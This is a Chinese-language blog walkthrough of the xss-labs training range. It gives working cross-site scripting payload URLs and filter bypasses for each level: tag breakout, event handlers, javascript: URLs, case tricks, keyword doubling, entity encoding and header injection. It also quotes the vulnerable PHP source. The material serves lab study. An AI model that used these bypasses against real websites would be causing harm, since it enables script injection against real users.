xss-labs通关记录

0、写在前面

一个很简单的XSS靶场,19-20关涉及flash反编译建议先跳过。

 

1、无过滤

简单关卡,随便找一个常用代码(如script、img等)填入即可。

http://localhost/xss-labs/level1.php?name=<script>alert(1)</script>

 

2、简单标签闭合

刚进入第二关的url:

http://localhost/xss-labs/level2.php?keyword=test

• < f Or•fi method: "GET" > 
< input 
< input 
< / form> 
< / center>

如题,非常简单的进行一个标签的闭合即可。

http://localhost/xss-labs/level2.php?keyword="><script>alert(1);</script> //

 

3、闭合+ htmlspecialchars()

1)先用<script>alert(1)</script>进行一波试探,结果如下:

< body > 
Chl 
(form action-leve13.php method-GET> 
<input name-keyword value- "It; > 
type—submit name—submit / >

可以看到<>被过滤了,查看一下源码方便理解:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

2)PHP htmlspecialchars() 函数:把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &amp;
  • " (双引号)成为 &quot;
  • ' (单引号)成为 '
  • < (小于)成为 &lt;
  • > (大于)成为 &gt;

虽然过滤了"(双引号)和<(单引号),但’(单引号)还是你单引号👍。

3)换个标签即可简单通关

http://localhost/xss-labs/level3.php?keyword='onclick='alert(1)

 

4、简单双引号闭合

跟第三关的区别是一个为单引号闭合一个为双引号闭合。

http://localhost/xss-labs/level4.php?keyword="onclick="alert(1)

< body > 
Chl 
< form action-leve14 .php method-CET > 
(input n ane-keyword 
(input type-submit name-subnit

 

5、javascript伪协议

经过几次尝试,发现scripton会被过滤,改大小写也行不通。

body 
chl 
cha 
(form action-levels.php method-GET> 
(input name-keyuor•d ; C/ script)" > 
<input type=subnit name—submit

(body > 
Chl 
src—l 
<form action-levels. php method-GET> 
(input name—keyword src=l 
(input type—submit name—submit value-F

但是并未对<>进行过滤,所以可以利用 JavaScript 伪协议。

 

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

http://localhost/xss-labs/level5.php?keyword="><a+href="javascript:alert(1);"/>//

< body > 
Chl 
<form action-leve15.php method-GET> 
<input name-keyword h ref." 
<input type—submit name—submit / >

 

6、大小写

可以对比第5关的源码

//5.php

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
//6.php

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以发现,第6关不仅过滤了script on,还过滤了src,data,href。

再经过一波大家来找茬,发现第5关过滤了大小写,而第六关没有。所以答案显而易见。

http://localhost/xss-labs/level6.php?keyword=<SCRipt>alert(1);</script>

 

7、双写

先用<script>alert(1)</script>、<a href="javascript:alert(1);"/>等进行一波试探,发现过滤了script,onsrc,data,href等。

由于是把该字符直接删除,可以直接进行一个双写的试。结果确实成功了。

http://localhost/xss-labs/level7.php?keyword="><scrscriptipt>alert(1);</scrscriptipt>//

 

8、编码

经过各种尝试,可以发现这关把前面的技巧全都封死了,那么只能掏出压箱底的编码绕过了。

将要提交的js代码进行Unicode编码。

如javascript:alert(1),Unicode编码后直接提交即可:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

 

9、检查关键字

上来一顿乱试,一点反应都没有。

(form action-levelg . php method-GET> 
< input name-keyword value-"not bad!" > 
< input type-submit name-submit 
< / form>

查看控制台可以察觉,肯定与链接合法与否有关。于是请上源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

strpos()函数:查找字符串在另一字符串中第一次出现的位置。

  • strpos() 函数对大小写敏感。
  • 该函数是二进制安全的。

从源码可以看出输入的字符串里面必须要有http://字符。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('http://')

 

10、隐藏信息

一进来啥都没有,控制台也看不出花来,直接查看源码。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到真正起作用的是t_sort参数,但是它的type类型是hidden。不过后台只过滤了<>,可以来个比较巧妙的闭合让t_sort显示出来。当鼠标移到该区域时,可以实现弹窗。

http://localhost/xss-labs/level10.php?t_sort="type="text" onmouseover="alert(1)"

(body > 
chi 
id-search> 
<input value-"" 
< input name." t _ history" value."" 
type." hidden") 
<input

 

11、Referer

跟第十关一样什么都没有,先用第十关通关的代码t_sort="type="text" onmouseover="alert(1)"试试。

可以看到t_sort能正常接收,但猜想多了一层htmlspecialchars()过滤。这关还加了一个全新参数t_ref,突破口应该在这里。所以直接进行一个源码的查看。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

Referer 

请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

从源码可以看出 t_ref 接收的是referer的值,可以利用hackbar修改referer的值如下,鼠标移到对应区域实现弹窗并通关。

"type="text" onmouseover="alert(1)"

 

 

12、HTTP_USER_AGENT

跟第10和11一样,什么都没有。先怼一行 ?t_sort="type="text" onmouseover="alert(1)" 上去试试。结果如下:

看来本关的突破口是t_ua,直接上源码。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

HTTP_USER_AGENT是用来检查浏览页面的访问者在用什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好的代码。

参数 t_ua 接收的是 HTTP_USER_AGENT 的值,可以利用hackbar修改 HTTP_USER_AGENT 的值如下,鼠标移到对应区域实现弹窗并通关。

"type="text" onmouseover="alert(1)"

 

 

13、cookie

遇事不决乱试一通。先拿 t_sort="type="text" onmouseover="alert(1)" 开试。结果如下图:

本关的突破口就决定是t_cook了,继续进行一个源码的看。

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从源码可以看到 t_cook 接收的是 user cookie 值 "call me maybe?" 。老办法,利用hackbar修改 HTTP_USER_AGENT 的值如下,鼠标移到对应区域实现弹窗并通关。

user="type="text" onmouseover="alert(1)"

 

 

14、Exif

这关刚进来给我整不会了,一直在跳转。直接上源码查看。

<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>

初步判断是 http://www.exifviewer.org 的原因,但由于需要特殊手段😅,先略过。

Exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据

 

15、ng-include

这关作者让我们自己想个办法走出去,观察当前页面的url:http://localhost/xss-labs/level15.php?src=1.gif 。可以得知src应该是注入点。

1)AngularJS ng-include 指令

a.定义和用法

  • ng-include 指令用于包含外部的 HTML 文件。
  • 包含的内容将作为指定元素的子节点。
  • ng-include 属性的值可以是一个表达式,返回一个文件名。
  • 默认情况下,包含的文件需要包含在同一个域名下。

b.语法

<element ng-include="filename" onload="expression" autoscroll="expression" ></element>

ng-include 指令作为元素使用。

<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>

所有的 HTML 元素都支持该指令。

c.参数值

描述

filename

文件名,可以使用表达式来返回文件名。

onload

可选, 文件载入后执行的表达式。

autoscroll

可选,包含的部分是否在指定视图上可滚动。

 

2)通关思路

既然 ng-include 指令用于包含外部的 HTML 文件,那就是说可以包含之前通关的有xss漏洞的html文件。通过该html文件构造XSS实现弹窗,即可通过本关。

http://localhost/xss-labs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

3)修改js源文件路径

结果问题还没完,源码调用的js文件中有地址被墙了,需要在源码修改js源文件路径为:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js。返回页面,发现已经成功弹窗。

 

16、空格

先用15关的代码尝试以下,结果如图:

可以看出空格被过滤替换成 &nbsp; ,用 / 代替空格尝试之后发现也被过滤。但是在html中,可以用回车代替空格。将回车进行url编码,然后代替空格的位置如下,即可实现弹窗。

http://localhost/xss-labs/level16.php?keyword='level1.php?name=<img%0Asrc=1%0Aonerror=alert(1)>'

 

17、参数拼接

经典什么都没有,先通过url和控制台来观察猫腻。当 arg01 = kin & arg02 = yoo 时的结果如下图:

找到突破口啦,参数的值是以 arg01=arg02 的方式传进去的。可以随意构造一个事件直接触发,如下:

http://localhost/xss-labs/level17.php?arg01=onmouseover&arg02=alert(1)

注意:火狐不支持swf,换个浏览器即可。

 

18、参数拼接

又又是啥都没有,通过页面的url推测与第17关类似,尝试了17关的代码结果一次过了🤣。对比两个关卡的源码发现内容差不多,直接下一关~

 

19-20、flash XSS

涉及flash反编译,待学习。具体可以参考:https://baynk.blog.csdn.net/article/details/103213877

 

 
 
 
 
 
posted @ 2021-09-26 09:50  kinyoobi  阅读(241)  评论(0编辑  收藏  举报